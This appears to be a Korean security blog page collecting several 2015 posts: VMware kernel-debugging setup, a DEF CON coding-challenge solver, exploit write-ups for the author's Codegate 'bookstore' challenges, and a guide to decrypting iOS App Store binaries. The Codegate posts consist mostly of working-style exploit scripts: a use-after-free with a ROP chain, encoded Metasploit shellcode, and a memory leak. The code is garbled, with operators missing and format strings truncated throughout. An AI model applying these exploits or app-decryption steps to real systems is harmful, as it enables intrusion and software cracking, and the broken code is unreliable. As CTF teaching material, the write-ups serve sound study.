매번 똑같이 오랜만의 포스팅..


요즘은 커널에 대해서 공부하고 있습니다.


아니나 다를까 공부에는 항상 삽질이 따르네요.


VMware의 Workstation과 Vsphere에서 커널디버깅을 시도해보려고 구글링도 해보다가 실패해서 이것저것 삽질하던 도중 드디어 해결하게 되었습니다.


나중에 까먹을까봐 다시 포스팅!


우선 BOB 할때 알렉스에게 받은 Windbg 파일..


아래 file1, file2 둘중 아무거나 받으시면 됩니다. 같은거에요

===============================

file 1


kdbg.7z.001


kdbg.7z.002


kdbg.7z.003


kdbg.7z.004


==============================

file 2


kdbg.zip.001


kdbg.zip.002


kdbg.zip.003


kdbg.zip.004



윈도우 XP에서의 커널 디버깅 환경 세팅

- Windows XP

- VMware Workstation 11


1. 윈도우XP가 깔린 VM이미지의 속성을 들어간다.




2. 위와 같이 설정에 들어갔으면 아래 Add 버튼을 누른다.





그리고 시리얼 포트를 선택하고 Next를 누른다.


다음 화면은 귀찮아서 캡쳐 실패. 그런데 그냥 텍스트로 적어도 무방할 것 같다.


3. Serial Port 설정에서 'Output to named pipe' 선택 후 Next 클릭

4. Named pipe에 '\\.\pipe\name' 식으로 파이프의 이름을 만들어준다. 예를들어서 '\\.\pipe\sweetchip' 도 좋다.

4-1. 그리고 This end is the client. 와 This other end is an application 각각 선택!



그래서 설정을 살펴보면 이렇게 되도록 한다.


체크할 부분은 Use named pipe와 I/O mode이다.


5. 마지막! I/O mode의 Yield CPU on poll을 체크한다.




그러면 VM웨어에서의 세팅을 마쳤다. 이제 XP에서 설정해보자.


6. XP의 시작 - 실행 - msconfin 입력


7. 시스템 구성 유틸리티의 BOOT.INI 탭 선택


8. 하단 고급 옵션 클릭.



9. 그리고 /DEBUG 체크, /DEBUGPORT, /BAUDRATE 체크


10. 각각 설정을 위 사진처럼 설정. (디버그 포트는 COM1번, BAUDRATE는 115200)


Windows XP에서의 설정은 마쳤고 마지막으로 windbg에서 설정을 해야한다.


Windbg의 설정은 공통설정에서 하겠다.


11. 공통으로 이동



윈도우7 에서의 커널 디버깅 환경 세팅

1. 우선 Windows 7에서 설정을 해줘야 한다.

- XP에서와 마찬가지로 시작 - 실행 - msconfig 입력

- 부팅 탭에서 고급옵션 클릭

- 고급 옵션 창에서 디버그, 디버그 포트, 전송속도 체크아래와 같이 설정



2. 그리고 윈도우7의 전원을 끈다.



3. VMware에서 이미지의 속성을 들어간 뒤 하드웨어의 장치를 추가해줘야 한다.

- Virtual Machine Settings에서 Add 클릭

- Serial Port 클릭 후 Next

- Named Pipe에 위와 같이 설정.

- 파이프 이름 설정 - \\.\pipe\name (파이프 이름의 경우는 자유, 위 사진처럼 자유로 설정.)



4. 그리고 I/O mode에서 Yield CPU on poll 체크


5. 공통으로 이동




[공통] Windbg에서 커널 디버깅하기


1. Windbg의 상단탭 File - Kernel Debugging에 들어간다.





2. COM 탭 클릭후 아래 사진처럼 세팅한다.



3. VMware에서 VM 시작을 누르면..


4. 성공




성공이다!. 사진에서는 Windows XP인데 7이면 Windows 7 이라고 나온다





만약 위와 같은 과정으로 설정 해도 실패할 경우 아래를 살펴보세요,


지금까지 위처럼 해도 디버기가 디버거에 안붙길래 도데체 무슨 일이지 하고 있던 차에 무언가 이상한 것을 발견했다.


위의 경우는 Serial Port를 추가하면 이름은 Serial Port이다.


그러나 나의 경우는 Serial Port 2 라고 이름이 생성되었다. 그 말인 즉, 어떤 장치가 이미 시리얼 포트를 쓰고 있던 것이다.


범인은 바로 프린터(Printer)가 COM1를 사용하고 있었고 이 친구 덕분에 위 설정으로는 디버기가 붙지 않게 되었다.


그러므로 VM에서 프린터가 쓸 일이 없다면 COM1 포트를 사용하기 위해서 과감하게 삭제 하고 붙이면 잘 작동 할 것이다.


허무.. 어쨋든 이제야 잘 붙는다 오예!


끝.

  1. 알 수 없는 사용자 2015.06.22 11:40

    잘봤습니다!!

  2. 익명 2015.06.23 16:25

    비밀댓글입니다



이번에 데프콘 대회는 순천향대 Security First, Leaveret 그리고 저희 동아리인 SSG 연합으로 나가게 되었는데


이상하게도 작년보다 난이도가 더 어려운것 같네요.


문제들을 분석한것도 많고 취약점도 찾았지만 Exploit을 하지 못한 문제가 상당히 많았습니다 ㅠㅠ


이번 포스팅에는 그냥 문제중 한개인 코딩 챌린지를 풀이하도록 하겠습니다. (문제 이름이 기억이 안나서 그냥 코딩 챌린지로 했습니다,)


#!/usr/bin/env python


import subprocess, os, tempfile

from ctypes import *

import os

from socket import *

import time

import struct

# from pyasm import Program

# from pyasm.instructions import push, mov, ret, pop

# from pyasm.registers import eax, esp, ebp

from distorm3 import Decode, Decode16Bits, Decode32Bits, Decode64Bits


p= lambda x: struct.pack("


PAGE_SIZE = 4096


class AssemblerFunction(object):


def __init__(self, code, ret_type, *arg_types):

# Run Nasm

fd, source = tempfile.mkstemp(".S", "assembly", os.getcwd())

os.write(fd, code)

os.close(fd)

target = os.path.splitext(source)[0]

subprocess.check_call(["nasm",source])

os.unlink(source)

binary = file(target,"rb").read()

os.unlink(target)

bin_len = len(binary)


# align our code on page boundary.

self.code_buffer = create_string_buffer(PAGE_SIZE*2 bin_len)

addr = (addressof(self.code_buffer) PAGE_SIZE) & (~(PAGE_SIZE-1))

memmove(addr, binary, bin_len)


# Change memory protection

self.mprotect = cdll.LoadLibrary("libc.so.6").mprotect

mp_ret = self.mprotect(addr, bin_len, 4) # execute only.

if mp_ret: raise OSError("Unable to change memory protection")


self.func = CFUNCTYPE(ret_type, *arg_types)(addr)

self.addr = addr

self.bin_len = bin_len


def __call__(self, *args):

return self.func(*args)


def __del__(self):

# Revert memory protection

if hasattr(self,"mprotect"):

self.mprotect(self.addr, self.bin_len, 3)



def mov(data):

result = []

data = data.split("\n")

for i in data:

if "=" in i:

tmp = i.split('=')

result.append("mov " tmp[0] ", " tmp[1])

return "\n".join(result)


if __name__ == "__main__":

ip = "catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me"

port = 9999


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


lst = []

inst = s.recv(1024)

# print inst

instructions = s.recv(1024).split("\n")[2]

print instructions

print instructions.encode("hex")


l = Decode(0, instructions, Decode64Bits)

t_ins = ""

for i in l:

t_ins = i[2] "\n"

movs = mov(inst)

# print movs

# print t_ins



result = "****Initial Register State****\n"

result = ""

registers = ["rax","rbx","rcx","rdx","rsi","rdi","r8","r9","r10","r11","r12","r13","r14","r15"]

for i in registers:

add_func = """BITS 64\n""" movs "\n" t_ins.replace("RET\n", "") """mov rax, """ i """

ret

"""

print add_func

Add = AssemblerFunction(add_func, c_uint64, c_uint64, c_uint64)

result = i "=" str(hex(Add(ord(os.urandom(1)), ord(os.urandom(1))))) "\n"


result = result.replace("L", "")

s.send(result)

print result

print s.recv(1024)


"""

rax=0x9c8982fc3b5cfae9

rbx=0x20223acc7e6949cb

rcx=0x3a46c99c

rdx=0xd5239501c5b48bd

rsi=0xbabfac6bbf67bbfd

rdi=0xe8fb6dcfe0000000

r8=0xcde6d06e980dd1ce

r9=0x339f0bb7dee53e3e

r10=0x23a769fd87124021

r11=0x2cb79cbedc86431f

r12=0x4d32ab24658d00be

r13=0x7dab448d20a82708

r14=0x3c8b784c

r15=0x43ccf3fcf39883c6


The flag is: Cats with frickin lazer beamz on top of their heads!

"""


문제는 간단하게 64비트 레지스터와 어셈블리 코드를 바이트코드화 해서 클라이언트에게 보내줍니다.


그러면 저희는 그 정보를 받아서 바이트 코드를 실행하고 레지스터 정보를 다시 되돌려 줘야 하는 문제인데요,


구글링해서 python에서 어셈블리 명령어를 실행하고 실행한 명령어의 결과값을 받아오는 스크립트가 있었습니다.


하지만 보내야 하는 것은 레지스터들 정보들이라서 결과값으로는 부족합니다.


그래서 쓴 간단한 꼼수가 함수의 결과값을 받아오는 스크립트이니 마지막에 mov rax, registers 를 붙여서 모든 레지스터의 값을 리턴하고 그 값을 받아오도록 코딩했습니다.


그래서 한번 실행하면 16개의 레지스터들을 모두 얻어오고 서버로 보내면 키값을 되돌려 줍니다.


그래서 저 스크립트를 실행시키면


The flag is: Cats with frickin lazer beamz on top of their heads!


제가 이번 코드게이트에 출제한 문제는 총 2문제로 bookstore 와 bookstore2 이고 이번 포스팅은 Bookstore2 문제 풀이입니다.





흔하지 않은 유형의 문제라고 생각하는데 바로 windows 운영체제에서의 pwnable 입니다.


일반적인 리눅스에서의 Pwnable 문제를 Windows에 적용시켜봤습니다.


이 문제는 원래 예선에서 내려고 했던 문제인데 아무래도 윈도우 문제이고 사람이 많다보니 운영에 문제가 될 수 있을것 같아서 본선에서 출제하기로 했습니다.


본선장에서는 대회가 끝나기 대략 6시간전에 2시간 뒤에 윈도우 문제가 나올것이라고 미리 말해주고 서버 환경을 알려줬습니다.


또한 대회 전날까지 고의적으로 키값등을 삭제하는 부정행위를 방지하기 위하여 리눅스의 wine에서 돌려보자는등 여러가지 의견이 나왔었는데,


계속 고민한 결과 Low Integrity Process로 설정하여 운영하기로 했습니다.



사실 코드게이트에선 아마 윈도우 문제가 처음일텐데 여러가지 걱정도 있기도 했고 늦게나마 안 사실이지만 문제에 약간 오류(오타)가 있었습니다. (푸는데는 지장이 없으니 다행이네)


아무래도 마지막쯤에 취약점을 갑자기 바꾸고 주니어 대회 네트워크를 세팅하느라 정신이 없었던듯 하네요. 다음엔 이점을 주의해야 할것 같네요.


그리고 문제가 다른 문제에비해 약간 쉬운편이다 보니 배점이 낮아서 그런지 처음에는 6팀 정도가 문제를 잡다가 후반엔 3팀 정도가 문제를 잡고 있었습니다.


아쉽게도 본선장에선 문제가 풀리진 않았지만, 대회가 끝나고 나서 몇몇사람들로부터 문제를 풀었다라고 답이 왔네요!


끝나고라도 풀리니 다행... ㅎㅎ


이번 문제에서도 마찬가지로 Exploit 방법과 POC코드만 올리도록 하겠습니다.





Bookstore2 Binary---------------------------------------------------


bookstore2.exe


load.bat


loader.exe

--------------------------------------------------------------------

Server Environment

- Windows 7 Ultimate 32bit

- Low Integrity Process


Vulnerability

- Use-After-Free


Memory Protection

- ASLR, DEP, Stack Cookie, Safe SEH


문제의 컨셉은 예선에 나온 bookstore와 같은 컨셉으로 서점의 책을 관리해주는 컨셉의 어플리케이션이다.


참고로 이번 문제는 환경에 영향을 받지 않도록 제작한 문제이다.


그래서 단순하게 바이너리 안에 있는 정보 만으로도 충분히 Exploit이 가능하도록 만들었고 동일한 Payload로 Windows7, windows8, windows8.1 에서 유니버셜하게 작동하는 Exploit을 제작할 수 있다. (그러나 win8에선 Heap Allocation 문제로 약간 확률이 떨어지는 현상이 있었으나 Exploit이 작동하는것은 확인했다.)


문제 취약점은 Heap영역에서 발생하는 Use-After-Free이다.


이번 문제도 리얼월드에 가깝게 만든 문제들인데, Chrome, Firefox, Internet Explorer 등에 적용되어있는 Heap Isolation을 흉내낸 문제이다.


바이너리를 까보면 CreateHeap 함수로 새로운 힙영역을 만들고 그 부분에 Ebook과 Book 구조체를 할당한다.


하지만 바이너리를 살펴보면 특정상황일때 book이나 ebook 구조체를 Free하지만 그 구조체에 대한 포인터를 완전히 지우지 않음으로써 발생하는 취약점이다.



보통 지금까지 UAF라면 특정 데이터가 Free되서 새로운 string 힙을 만들어서 쉽게 free된 영역에 Re-allocation이 가능했을 것이다.


그러나 이번 문제는 Heap Isolation으로 인하여 Process Heap (이하 힙A)과 HeapCreate로 생성된 새로운 Heap(이하 힙B)에 따로 분리되어 저장되는것을 볼 수 있다.


다시 말하면 힙A에는 일반 string, 일반 데이터가 저장되지만 힙B 에서는 이 데이터들이 모여 저장된 구조체가 저장된다는 것이다.


또한 UAF 취약점은 힙B의 데이터에서 발생하고 그 데이터에는 Function Pointer가 포함되어 있어서 Reallocation을 통하여 Function Pointer를 조작하는것이 목적이다.


그럼 힙B에는 string도 할당이 불가능하고 일반 데이터도 할당이 불가능하고 오직 가공된 구조체만 할당할 수 있다.



그럼 어떻게 해야 할까?


문제를 풀때 구조체를 분석해보면 Book과 Ebook의 구조체의 크기가 약간 다르다는걸 볼 수 있을 것이다.


또한 해커가 데이터를 완전히 Control할 수 있는 크기는 12바이트라는 것도 볼 수 있을 것이다.


이 점을 이용하여 다음과 같이 생각해보자.


예를들어서 0x40 크기를 가진 A 구조체와 0x3c를 가진 B 구조체가 있다고 할때 A라는 힙이 할당되면 실제 힙 영역에서는 다음과 같은 모습일 것이다.


Struct_A ----------------------------------

HHHHHHHHDDDDDDDDDDDDDDDD

| Header | ... Data 0x40 ... |

-----------------------------------------


그리고 B 구조체는 다음과 같을 것이다.


Struct_B ----------------------------------

HHHHHHHHDDDDDDDDDDDD

| Header | .. Data 0x3c .. |

-----------------------------------------


이중 일부 데이터가 Controllable 하다고 하고 일부 데이터가 Function Pointer 라고 하자.



구조체 A를 먼저 힙에 쭉 뿌려두고 모두 Free시킨다. 하지만 포인터는 여전히 남아있을 것이다.


그다음 구조체 B를 힙에 할당시키면 Free된 힙의 처음 부분부터 할당될 것이다.


위 사진처럼 할당을 하면 어딘가에서는 Controllable한 데이터와 Function Pointer가 만나는 지점이 있을 것이다.


이 문제에선 위 원리를 이용하여 Infoleak과 EIP Control이 가능하다.





Exploit Code


아래는 위 원리를 적용한 Exploit이며


Windows 7, Windows 8.1에서 작동하는것을 확인했다.


실제로 Exploit시 metasploit의 Reverse Shell을 붙여주는 쉘코드를 사용하여 문제를 풀었다.


import os

from socket import *

import struct

import time

p = lambda x : struct.pack("

import re


shellcode = ("\xba\x02\x27\xc8\x90\xd9\xe1\xd9\x74\x24\xf4\x5e\x33\xc9"

"\xb1\x32\x31\x56\x12\x83\xc6\x04\x03\x54\x29\x2a\x65\xa4"

"\xdd\x23\x86\x54\x1e\x54\x0e\xb1\x2f\x46\x74\xb2\x02\x56"

"\xfe\x96\xae\x1d\x52\x02\x24\x53\x7b\x25\x8d\xde\x5d\x08"

"\x0e\xef\x61\xc6\xcc\x71\x1e\x14\x01\x52\x1f\xd7\x54\x93"

"\x58\x05\x96\xc1\x31\x42\x05\xf6\x36\x16\x96\xf7\x98\x1d"

"\xa6\x8f\x9d\xe1\x53\x3a\x9f\x31\xcb\x31\xd7\xa9\x67\x1d"

"\xc8\xc8\xa4\x7d\x34\x83\xc1\xb6\xce\x12\x00\x87\x2f\x25"

"\x6c\x44\x0e\x8a\x61\x94\x56\x2c\x9a\xe3\xac\x4f\x27\xf4"

"\x76\x32\xf3\x71\x6b\x94\x70\x21\x4f\x25\x54\xb4\x04\x29"

"\x11\xb2\x43\x2d\xa4\x17\xf8\x49\x2d\x96\x2f\xd8\x75\xbd"

"\xeb\x81\x2e\xdc\xaa\x6f\x80\xe1\xad\xd7\x7d\x44\xa5\xf5"

"\x6a\xfe\xe4\x93\x6d\x72\x93\xda\x6e\x8c\x9c\x4c\x07\xbd"

"\x17\x03\x50\x42\xf2\x60\xae\x08\x5f\xc0\x27\xd5\x35\x51"

"\x2a\xe6\xe3\x95\x53\x65\x06\x65\xa0\x75\x63\x60\xec\x31"

"\x9f\x18\x7d\xd4\x9f\x8f\x7e\xfd\xc3\x4e\xed\x9d\x03")

# calc shellcode from metasploit :)


ip = "200.200.200.5"

port = 1337


ss = socket(AF_INET, SOCK_STREAM)

ss.connect((ip, port))


eip = 1

eip1 = 1

eip2 = 1


def r():

result = ""

try:

while 1:

ss.settimeout(0.001)

# ss.settimeout(0.3)

tmp = ss.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


def s(a):

ss.sendall(a)


def login():

print r()

s("helloadmin\n")

print r()

s("Iulover!@#\n")


def makebook():

print r()

s("1\n")

print r()

s("1\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s("1094795581\n")

print r()

s("1094795580\n")

print r()

s("1\n")


def makeebook():

print r()

s("1\n")

print r()

s("2\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s(str(int(eip1)) "\n") # EIP 4

print r()

s(str(int(eip)) "\n") # EIP

print r()

s(str(int(eip2)) "\n") # EIP 8


def forcefree(target):

print r()

s("2\n")

print r()

s(str(target) "\n") # index

print r()

s("3\n")

print r()

s("-1\n")

print r()

s(str(int(0x43434343)) "\n")

print r()

s(str(int(0x42424242)) "\n")

print r()


s("4\n")

print r()

s("0\n")

print r()

s("0\n")

print r()

s("3\n")

print r()

s(str(target) "\n") # index


def put_gadget(gadget, index):

print r()

s("2\n")

print r()

s(str(index) "\n")

print r()

s("2\n")

print r()

s(gadget "\n")

print r()

s("0\n")



def view(target):

print r()

s("4\n")

print r()

s(str(target) "\n") # taarget

return r()


def payload(baseaddress):

virtualalloc_warp = baseaddress 0x2070 #fix

fgets_wrap = baseaddress 0x1460 #fix


ppppr = baseaddress 0x9dff #fix

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1

virtual_space = 0x00100000


result = ""

result = p(r) * 10

result = p(virtualalloc_warp)

result = p(pppr)

result = p(virtual_space)

result = p(0x10000)

result = p(0x40)

# result = p(0x41414141)

result = p(fgets_wrap)

result = p(ppr)

result = p(virtual_space)

result = p(len(shellcode) 2000)


result = p(virtual_space 20)

return result


################################ START

time.sleep(0.1)

login()

################################ INFO LEAAK

# time.sleep(10)

total = -1

for i in range(0, 4):

makeebook()

total = 1

for i in range(0, 4):

forcefree(i)

for i in range(0, 4):

makebook()

total = 1


data = view(2) # infoleak



print "data = " data

found = re.findall("Price : (.*)\n", data)

print found

################################# Make Payload

baseaddr = int(found[0].replace("\r",""))&0xFFFF0000

gadget1 = baseaddr 0x1e97 #fix

"""

xchg eax, esp

pop ecx

pop eax

retn

"""

memory = baseaddr 0x171c0 # global var #fix

eip = gadget1

eip1 = memory

eip2 = gadget1


put_gadget(payload(baseaddr), 6)


################################# Exploit

for i in range(0, 4):

makebook()

total = 1

for i in range(0, 4):

forcefree(7 i)

for i in range(0, 4):

makeebook()

total = 1

print view(7 3) # infoleak

s("\x90"*100 "\xbc\x00\x50\x10\x00" "\x90"*500 shellcode "\x90"*500 "\xcc" "\n")

print r()

print hex(baseaddr)

time.sleep(1)



끝!


  1. 알 수 없는 사용자 2015.04.19 10:48

    wow 윈도우 포너블.. 수고하셧습니다!!



올해 코드게이트는 우리회사에서 진행하게 되어서 나도 함께 문제를 출제하게 되었는데


사실 이번 코드게이트 같이 매우 큰 규모의 CTF에서의 문제 출제는 처음이었다.


그래서 어느 문제를 내야할지 상당히 고민을 많이 했는데, 난이도가 어려운 문제는 이미 다른 멤버들이 담담해주시니 ㅋㅋ


나는 지금까지 리얼월드에서 찾은 취약점중 재미있던 취약점을 문제에 적용시키기로 했다.


그리고 중간고사 직전인 지금 중간고사 공부가 재미없어서 오랜만에 블로그에 글이나 써볼까 하다가..


나오게된 셀프 Write-Up!



Bookstore -

bookstore_bin


Bug Class : Uninitialized memory reference


문제의 컨셉은 서점의 책을 관리해주는 간단한 어플리케이션이다.


바이너리는 32비트이며 PIE / ASLR / NX 모두 적용되어있는 바이너리이다.


아마 이런 유형의 취약점을 처음 찾아본다면 취약점을 찾는데 약간 어려웠을 수도 있는데 문제를 풀고나면 생각보다 간단했을 것이다.



이미 다른 분들이 써둔 Write-up이 있으니 이 포스팅에선 문제 버그에 대한 원리만 간단하게 설명해보도록 하겠다.


예를들어서 위와 같은 구조체가 있다고 하자.



이때 우리가 새로운 구조체를 스택(지역변수)에 만들었다고 한다고 할때 기본적으로 구조체라면 위와 같이 생겼을 것이다.


그래서 필요한 경우에 따라 위처럼 값을 채워나갈 것이다.

그리고 위에 보면 그대로 0인 부분이 있는데 이 부분은 정상적인 0인 값이거나 내가 별도로 초기화 하지 않은 부분이다.


아까 말했듯이 구조체를 지역변수로 만들 경우 스택에 일정 공간을 잡아두고 그 곳에 데이터를 채워 넣는 방식이라고 했다.

사용할 스택을 미리 예측해서 그 부분에 Stack Spray(?)를 해놓고 나중에 구조체가 그 스프레이된 곳에서 세팅하도록 유도한다면 어떨까?

문제 내에서는 이유없이 이상하게 3000바이트를 받고 약 200바이트 약간 안되게 잘라서 다시 넣는 부분이 있을 것이다.

사실 풀어본 사람은 알겠지만 그 부분이 바로 스택 스프레이를 하는 부분이다.


그렇다면 다시 살펴보자.

위와 같은 구조체가 있다고 하고 스택영역에 할당될 예정이다.

그전에 미리 3000바이트 정도 스택영역에 스프레이를 해두면 실제 구조체를 만들 당시 아무 값도 초기화 하지 않을 경우 아래그림과 같은 상태일 것이다.


위는 스택 스프레이가 진행된 모습이다.


그래서 구조체를 세팅하다보면 아까와는 달리 초기화 하지 않은 일부 0인 부분이 AAAA 로 변한 모습이 보일 것이다. (s3는 잘못 색칠한것임! 원래 AAAA임!, s4는 위에 언급했듯이 원래 0값으로 가정.)


위와 같이 내 맘대로 원하는 구조체를 저렇게 바꿔버리면 프로그램의 흐름을 바꿀 수 있다.


그래서 탄생한 Exploit 은 다음과 같다.



#Exploit


from socket import *

import struct

import os

p = lambda x : struct.pack("


ip = "0.0.0.0" # blind

port = 31337


print "[*] CODEGATE 2015 bookstore exploit."

print "[*] Start Exploit."

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


def r(s):

result = ""

try:

while 1:

s.settimeout(0.1)

tmp = s.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


#def s(s, a):

# s.sendall(a)


print r(s)

s.sendall("helloadmin")

print r(s)

s.sendall("iulover!@#$");

#print r(s)

for i in range(0, 3):

#s.recv(1024)

#s.recv(1024)

print r(s)

# s.sendall("1")

# s.recv(1024)

s.sendall("1\n")

print r(s)#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("0\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")


print r(s)

s.sendall("2\n") # into modify option

print r(s)

s.sendall("1\n") # target index

print r(s)

#s.recv(1024)



s.sendall("3\n") # modify all

s.recv(1024)

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

#s.recv(1024)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("A"*20)

print r(s)

s.sendall("C"*30)

print r(s)

s.sendall("0\n") # exi

print r(s)



s.sendall("4\n") # show list

leak = r(s)

#leak = s.recv(1024)

b = leak.split("AAAAAAAAAAAAAAAAAAAABBBBBBBB")[1][:4]


point = ((struct.unpack("

print "[*] LEAKED Memory : " str(hex(point))


s.sendall("2\n") # into modify option

print r(s)

s.sendall("0\n") # target index

print r(s)



s.sendall("1\n") # modify bookname

print r(s)

s.sendall("A"*30)

print r(s)

import time

s.sendall("2\n") # modify bookdescription

print r(s)

time.sleep(0.3)

s.sendall(p(point)*(2800/4))

time.sleep(0.3)

print r(s)



s.sendall("3\n") # create vuln object

print r(s)


s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("0\n") # free shipping

print r(s)

s.sendall("1\n") # now avaliable

print r(s)

s.sendall("/home/bookstore/key")

# s.sendall("/home/sweetchip/key")

print r(s)

s.sendall("A")

print r(s)



s.sendall("4\n") # change free shipping option

print r(s)

s.sendall("1\n")

print r(s)


s.sendall("0\n") # back to main menu

print r(s)


s.sendall("4\n") # show list

print r(s)


s.sendall("3\n") # item info

print r(s)

s.sendall("0\n")#index

print r(s)

#print "[*] Key is : " r(s).split("====================================================================")[0].split("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")[1].replace("\n", "")

s.close()



곧바로 다음 포스팅은 본선에 출제된 bookstore2...


감사합니다.



안녕하세요.


요즘 학교 6시간 연강에 고통받으랴 회사일 개인연구.. 등등에 고통받고 있느라 블로그를 잘 못하게 되네요..


얼마전에 IOS에 대해서 연구를 하고싶은게 있어서(라고 썻지만 가지고 놀려고..) 아이패드를 구입하게 되었는데 IOS 앱 바이너리를 추출해보고 싶었습니다.


우선 아이패드의 운영체제인 IOS 8 기준으로 앱스토어에서 다운로드 받은 어플리케이션들은 모두 암호화 되어있다고 합니다.


그래서 실행할 경우 언패킹 과정을 거쳐 메모리에 원본 바이너리를 올린 뒤에 실제 프로그램 루틴이 실행 된다고 하는데, 자세한 원리는 아래 링크를 참고해보시면 되겠습니다.


[IOS Tutorial #1] IOS App 암호화 해제하기 (Decrypting IOS App Binary Encryption) On IOS 6.1.3

- http://repo.kr/0x04-ios-penetration-testing/decrypting-ios-app-binary-encryption-on-ios-6-1-3/



자, 이제 앱 원본 바이너리를 추출해 봅시다.


/*

* 이 포스팅은 IOS 연구를 하시는 분들을 위하여 작성된 게시물 입니다.

* 해당 포스팅을 이용하여 불법적으로 상업적인 이득을 취하거나 그 외 법적으로 문제가 발생할 경우 책임은 본인에게 있음을 알려드립니다.

*/


먼저 준비물은 맥북(Mac os가 설치된 컴퓨터), Root 권한을 얻은 아이폰이나 아이패드 등의 IOS가 설치된 기기가 필요합니다.


또한 아래는 IOS 8.1 기준으로 진행한 방법입니다.


우선 바이너리를 추출하고 복호화 하는 방법은 여러가지가 있지만 그 중 대표적인 방법은 실행된 바이너리를 GDB로 붙여서 메모리 덤프를 해서 실행 파일로 만드는 것입니다.


하지만 이 과정도 상당히 귀찮은 면이 많기때문에 stefan esser 라는 외국 짱짱해커분이 만들어두신 dumpdecrypted 로 비교적 쉽게 덤프가 가능합니다.


https://github.com/stefanesser/dumpdecrypted 의 프로젝트를 다운로드 받고 make 명령어로 dylib 파일을 생성합니다.


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ git clone git://github.com/stefanesser/dumpdecrypted

Cloning into 'dumpdecrypted'...

remote: Counting objects: 31, done.

remote: Total 31 (delta 0), reused 0 (delta 0), pack-reused 31

Receiving objects: 100% (31/31), 6.50 KiB | 0 bytes/s, done.

Resolving deltas: 100% (15/15), done.

Checking connectivity... done.


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ ls

dumpdecrypted


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ cd dumpdecrypted/


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ ls

Makefile README dumpdecrypted.c


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ make

`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -c -o dumpdecrypted.o dumpdecrypted.c

`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -dynamiclib -o dumpdecrypted.dylib dumpdecrypted.o


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ ls

Makefile README dumpdecrypted.c dumpdecrypted.dylib dumpdecrypted.o


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ scp ./dumpdecrypted.dylib root@[192.168.0.44]:/var/root

The authenticity of host '192.168.0.44 (192.168.0.44)' can't be established.

RSA key fingerprint is 7b:dd:df:de:4c:3d:cb:93:04:91:b2:99:88:37:6e:c3.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.0.44' (RSA) to the list of known hosts.

root@192.168.0.44's password:

dumpdecrypted.dylib 100% 193KB 192.9KB/s 00:00


그리고 만들어진 파일을 scp로 제 아이패드에 복사시킵니다.


그후 아이패드 SSH에 접속합니다.


hyeonseong-won-ui-iPad:~ root# DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /private/var/mobile/Containers/Bundle/Application/00000000-0000-0000-0000-000000000000/appname.app/appname mach-o decryption dumper

mach-o decryption dumper


DISCLAIMER: This tool is only meant for security research purposes, not for application crackers.


[ ] detected 32bit ARM binary in memory.

[ ] offset to cryptid found: @0xb9a08(from 0xb9000) = a08

[ ] Found encrypted data at address 00004000 of length 13877248 bytes - type 1.

[ ] Opening /private/var/mobile/Containers/Bundle/Application/00000000-0000-0000-0000-000000000000/appname.app/appname for reading.

[ ] Reading header

[ ] Detecting header type

[ ] Executable is a plain MACH-O image

[ ] Opening appname.decrypted for writing.

[ ] Copying the not encrypted start of the file

[ ] Dumping the decrypted data into the file

[ ] Copying the not encrypted remainder of the file

[ ] Setting the LC_ENCRYPTION_INFO->cryptid to 0 at offset a08

[ ] Closing original file

[ ] Closing dump file

hyeonseong-won-ui-iPad:~ root# ls

Application Support appname.decrypted Library dumpdecrypted.dylib


/private/var/mobile/Containers/Bundle/Application/ 경로에 보시면 현재 설치된 앱 바이너리들이 있는데 이는 find 명령어 등으로 정확한 위치를 알아내신 뒤,


위와같이 커맨드를 입력합니다. 그러면 자동으로 디크립션된 앱을 통째로 덤프 떠주면서 마지막으론 appname.decrypted 라는 파일을 뱉어냅니다.


그 후 IFunBox 등의 유틸이나 scp 등을 이용하여 프로그램을 추출하시면 복호화된 원본 바이너리를 얻을 수 있습니다.


이 과정으로 GDB를 붙이는 것에 비하여 비교적 간단하게 어플을 가져올 수 있었습니다.


끝!



참고 링크 1 : http://blog.l4ys.tw/2014/01/dump-ios-app-headers.html

참고 링크 2 : https://github.com/stefanesser/dumpdecrypted


  1. 익명 2015.04.06 22:45

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2015.04.10 15:17 신고

